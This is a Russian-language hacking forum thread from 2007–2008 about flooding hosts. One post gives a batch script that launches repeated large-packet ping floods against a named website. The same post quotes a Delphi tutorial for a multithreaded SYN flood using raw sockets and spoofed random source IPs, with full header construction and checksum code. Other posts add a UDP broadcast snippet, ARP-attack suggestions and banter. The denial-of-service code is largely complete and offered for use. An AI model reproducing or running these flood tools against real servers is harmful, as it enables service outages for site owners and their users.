HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 05.11.2007, 22:18
W!z@rD
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
С нами: 10653446

Репутация: 836


По умолчанию

procedure TMainForm.FormCreate(Sender: TObject);
var
Init: TWSAData;
SockOpt: BOOL;
Sock: TSocket;
Target: TSockAddrIn;
begin
WSAStartup($101,Init);
Sock:=Socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP);
SockOpt:=TRUE;
SetSockOpt(Sock,SOL_SOCKET,SO_BROADCAST, PChar(@SockOpt),SizeOf(SockOpt)) ;
Target.sin_port:=htons(8167); //номер порта
Target.sin_addr.S_addr:=INADDR_BROADCAST;
Target.sa_family:=AF_INET;
SendTo(Sock,Data,DataBytes,0,Target,SizeOf(Target) );
WSACleanup;
end;
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
 
Ответить с цитированием

  #12  
Старый 10.01.2008, 14:53
RinOS
Новичок
Регистрация: 18.12.2007
Сообщений: 2
С нами: 9683580

Репутация: 0
По умолчанию

если нужен просто пинг то можно написать бат файл к примеру вот:

@echo off
set /a countping=0
:dosbegin
set /a countping=%countping% + 1
start /min ping j-fan.net.ru -n 999999 -t -l 65000 -w 0
echo %countping%
if %countping% == 100 (
exit /b
)
goto dosbegin:

а если на делфях то вот:

[Инфо] Я думаю, что ты уже наслышан о DdoS-атаках. Хакеры получают огромные деньги за ddos сайтов, держа ресурсы неделями в ауте. Думаешь, что создать бота, способного производить dos-атаки, очень сложно? На самом деле все очень просто и сейчас ты сам в этом убедишься.
[Немного теории] DoS (Denial of Service) – это отказ в обслуживании. Т.е. хакер засоряет канал жертвы мусором так, что она не может отвечать на запросы легальных пользователей. Атакующий может сделать это двумя способами: атаки на переполнение буфера (Buffer Overflow) или отправка большого количество мусора (банальный флуд). Мы будем рассматривать второй вариант. Наша программа будет долбить сервер специально сгенерированными пакетами. Почему специальными? Да, потому что обычными запросами ничего не добьешься (точнее добьешься, только таких запросов нужно отправить слишком много). Мы же будем использовать технику, названную syn-flood. Надеюсь, ты знаешь, что такое TCP/IP протокол, и проблем с пониманием работы этой техникой у тебя не возникает.
Syn-flood основан на особенностях организации соединения между двумя компьютерами по протоколу TCP. Компьютер, который хочет соединиться, отправляет запрос с пакетом SYN. На это другая машина отвечает пакетом с флагом SYNACK. Получив ответ, первый компьютер посылает с флагом ACK, и потом происходит соединение. На рисунках представлена схема соединения.
Клиент --------SYN----------> Сервер
Клиент <----SYNACK--------- Сервер
Клиент --------ACK----------> Сервер
Везде предусмотрено ожидание (т.е. пакет попадает в буфер), иначе бы люди, сидящие на слабых каналах не смогли бы установить соединение.
TCP протокол инкапсулирован в IP (т.е. IP пакет содержит в себе TCP пакет). Именно в IP пакете содержится инфа о получателе и отправителе, а значит мы эту инфу можем подменить. Такой прием называется IP-спуфинг. Теперь сервер будет посылать SYNACK-пакет по «левым» адресам. Учитывая то, что буфер будет расти, хакер сможет серьезно замедлить работу сервера, а то и вовсе ее остановить.
Для того, чтобы все это проделать, придется собирать пакет вручную. А значит придется использовать RAW (сырые сокеты). К сожалению, в Delphi 7 нет поддержки сокетов второй версии (поддерживаются только первые), а самому объявлять необходимые функции и константы мне в лом, поэтому я использовал заголовочный файл WinSock2.pas, скачанный мною из сети.
[Let’s code] Сначала нужно объявить структуры IP и TCP заголовков. Значение всех полей можно прочитать в RFC.
PHP код:
//IP-заголовок
iph = record
ip_verlen: byte; //Версия и длина
ip_tos: byte; //Приоритет пакета
ip_len: word; // Длина заголовка
ip_id: word; // id -пакета
ip_offset: word; //Смещение
ip_ttl: byte; //Время жизни
ip_protocol: byte; //Протокол
ip_checksum: word; //Контрольная сумма
ip_saddr: longword; //Адрес отправителя
ip_daddr: longword; //Адрес получателя
end;
//TCP-заголовок
tcph = record
th_sport: word; //Порт отправителя
th_dport: word; //Порт получателя
th_seq: longword; // Последовательный номер
th_ack: longword; // Подтвержденный номер
th_len: byte; // Длина заголовка
th_flags: byte; // Кодовые биты
th_win: word; // Окно
th_checksum: word; // Контрольная сумма
th_upr: word; // Кодовые биты
end;
Итак, чтобы начать работу с библиотекой WinSock2, нужно ее инициализировать
PHP код:
WSAStartup(MAKEWORD(2,2),WSAdata)
Теперь создаем «сырой» сокет
PHP код:
FSocket:=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,ni l,0,WSA_FLAG_OVERLAPPED);
Далее устанавливаем опции соединения (включение заголовка и время отправки):
PHP код:
op:=1;
setsockopt(FSocket,IPPROTO_IP,IP_HDRINCL,@op,sizeo f(op));
nTimeOver:=1000;
setsockopt(FSocket,SOL_SOCKET,SO_SNDTIMEO,@nTimeOv er,sizeof(nTimeOver));
Далее следует большой код сборки пакета.
//Собираем пакет
//Пишем версию и длину ip-пакета
ipHeader.ip_verlen:=((4 shl 4)or sizeof(ipheader) div sizeof(longword));
ipHeader.ip_len:=htons(Size);
ipHeader.ip_tos:=0; //Приоритет пакета
ipHeader.ip_id:=1; //id-пакета
ipHeader.ip_offset:=0; //смещение
ipHeader.ip_ttl:=128; //время жизни пакета
ipHeader.ip_protocol:=IPPROTO_TCP; //протокол
//Генерируем рандомный ip-адресс
FromIp:='';
For j:=0 to 3 do
begin
RandIp:=random(255);
Str(Randip,Buffer[j]);
end;
//lstrcat –функция для сцепки строк
lstrcat(Fromip,Buffer[0]); lstrcat(Fromip,'.');
lstrcat(Fromip,Buffer[1]); lstrcat(Fromip,'.');
lstrcat(Fromip,Buffer[2]); lstrcat(Fromip,'.');
lstrcat(Fromip,Buffer[3]);
ipHeader.ip_saddr:=inet_addr(FromIp); //Адрес источника
ipHeader.ip_daddr:=inet_addr(DestIp) ;//Адрес получателя
//Заполняем TCP-заголовок
TCPHeader.th_sport:=htons(Random(65000)); //Порт источника
TCPHeader.th_dport:=htons(port); //Порт получателя
TCPHeader.th_seq:=Random(4294967295); //Номер пакета
TCPHeader.th_ack:=0;
TCPHeader.th_len:=80;
//SYN-пакет
TCPHeader.th_flags:=2;
TCPHeader.th_win:=htons(65535);
TCPHeader.th_upr:=0;
TCPHeader.th_checksum:=0;//Контрольная сумма TCP-пакета, которая расчитывается ниже
//Расчет контрольной суммы
DataPointer := @TCPIP[0];
FillChar(TCPIP, SizeOf(TCPIP), 0);
Move(ipHeader.ip_saddr, DataPointer^, SizeOf(ipHeader.ip_saddr));
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_saddr));
ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_saddr);
Move(ipHeader.ip_daddr, DataPointer^, sizeof(ipHeader.ip_daddr));
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_daddr));
ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_daddr);
DataPointer := pointer(integer(DataPointer) + 1);
Inc(ChecksumSize);
Move(ipHeader.ip_protocol, DataPointer^, sizeof(ipHeader.ip_protocol));
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_protocol));
ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_protocol);
TcpHeaderLen := htons(sizeof(tcpHeader));
Move(TcpHeaderLen, DataPointer^, sizeof(TcpHeaderLen));
DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeaderLen));
ChecksumSize := ChecksumSize + sizeof(TcpHeaderLen);
Move(tcpHeader, DataPointer^, sizeof(tcpHeader));
DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeader));
ChecksumSize := ChecksumSize + sizeof(tcpHeader);
tcpHeader.th_checksum := CheckSum(TCPIP, ChecksumSize);
FillChar(TCPIP, sizeof(TCPIP), 0);
DataPointer := @TCPIP[0];
Move(ipHeader, DataPointer^, sizeof(ipHeader));
DataPointer := pointer(integer(DataPointer) + SizeOf(IPHeader));
Move(tcpHeader, DataPointer^, sizeof(tcpHeader));
После чего его нужно отправить
For i:=0 to 10 do
begin
if (sendto(FSocket,TCPIP,Size,0,SockAddr_in,Sizeof(So ckAddr_In))=SOCKET_ERROR)
then
Writeln('Send error')
else
Writeln('Send ok');
end;
Весь код желательно поместить в одну функцию. Чтобы создать достаточную нагрузку на сервер нужно использовать многопоточность. Создаем потоки с помощью CreateThread и ждем завершения выполнения с помощью WaitForMultipleObjects
PHP код:
//Создаем потоки
for i:=0 to (CountT-1) do
Begin hThread[i]:=CreateThread(nil,0,@SINFLOOD,nil,0,ThreadID[i]);
end;
WaitForMultipleObjects(CountT,@hthread,true,INFINI TE);
Не надейся, что с диалапа ты сможешь завалить сервер Microsoft’а. В настоящий момент у серверов ширина канала и производительность намного превышает пользовательские возможности, поэтому чтобы завалить сервак нужно атаковать его с помощью сети состоящей из большого количества зараженных машин. Также не стоит забывать, что flood карается нашим законадательством, поэтому если не хочешь провети ближайшие несколько лет за решеткой, будь благоразумен.
материалы к статье - http://narod.yandex.ru/100.xhtml?ml2.../DoS_files.zip
(c) TanKisT
 
Ответить с цитированием

  #13  
Старый 10.01.2008, 18:56
ZaCo
Banned
Регистрация: 20.06.2005
Сообщений: 880
С нами: 10994966

Репутация: 1332


По умолчанию

Цитата:
вы не понимаете разницу между DDoS и Флуд атакой...
ваш вопрос можно расцениват как: "Как провести флуд атаку по протокулу UPD?"
что-то типа того... но никак ни DDoS...
не много в жизни встретишь примеров ddos-атаки не основанной на флуде..
 
Ответить с цитированием

  #14  
Старый 10.01.2008, 19:24
Jes
Постоянный
Регистрация: 16.04.2007
Сообщений: 398
С нами: 10037186

Репутация: 1462
По умолчанию

В одной локалке ? ? ?
да вздерни его через ARP нах и никакого icmp ...
 
Ответить с цитированием

  #15  
Старый 10.01.2008, 19:25
ZEXEL
Постоянный
Регистрация: 07.01.2008
Сообщений: 591
С нами: 9653789

Репутация: 549


По умолчанию

А у кого есть исходник программы для отправки UPD пакетов ? на C++ или Delphi
 
Ответить с цитированием

  #16  
Старый 10.01.2008, 23:01
Delimiter
Banned
Регистрация: 08.04.2005
Сообщений: 446
С нами: 11099536

Репутация: 518
По умолчанию

хммммм.... а вы уверены что хотите именно UDP???
СОРЕВНОВАТЬСЯ У КОГО КАНАЛ ШИРЕ СМЕШНО!!!

Лучше перечитайте RinOS!!!
RinOS в принцыпе был точен, ему всего лишь было лень обьяснять
что произойдет если генериться(craft) будут только SYN пакеты, то есть будут отсутствовать RST и FIN пакеты.

сессия считается установленной после отсылки сервером
своего SYN пакета!!!!!!

Возьмем стандартный TCP сервер(например Apach или легкий KeyFocus).... у каждого из них как правило имеются ограничение на количество одновренных клиентов(активных TCP коннектов).
И пусть чтото там может разрываться по таймауту но....
это все измеряется вполне реальными секундами... в течении которых вы можете "завалить" сервер SYS-ами.


А за то что написал W!z@rD вас четвертует (или еще хуже)собственный админ!!!

Последний раз редактировалось Delimiter; 10.01.2008 в 23:16..
 
Ответить с цитированием

  #17  
Старый 11.01.2008, 15:03
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
С нами: 11042306

Репутация: 2726


По умолчанию

Delimiter, а у тебя на аватаре ты сам нарисован или кто-то другой?
 
Ответить с цитированием

  #18  
Старый 11.01.2008, 23:54
Delimiter
Banned
Регистрация: 08.04.2005
Сообщений: 446
С нами: 11099536

Репутация: 518
По умолчанию

А чего уже вывесили "Его разыскивает отдел К"?

дык там все фотожопером сделано.... на самом деле я толстый и лысый
 
Ответить с цитированием

  #19  
Старый 12.01.2008, 00:20
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
С нами: 11042306

Репутация: 2726


По умолчанию

такой как я?
 
Ответить с цитированием

  #20  
Старый 12.01.2008, 00:27
Delimiter
Banned
Регистрация: 08.04.2005
Сообщений: 446
С нами: 11099536

Репутация: 518
По умолчанию

ну дык может у нас папа общий.... у меня папа - лейтенант Шмит (человек и пароход) к тому же турецкоподданый!
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Как обойти фаервол и написать скрипт автоопределения ПО Dracula4ever Безопасность и Анонимность 3 22.06.2007 11:13
Есть uin есть пароль.... Roman Skype, IRC, ICQ, Jabber и другие IM 4 27.05.2003 17:59
Есть ли прога чтоб узнать по ip на каком сайте чел Болталка 1 31.03.2003 11:32



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.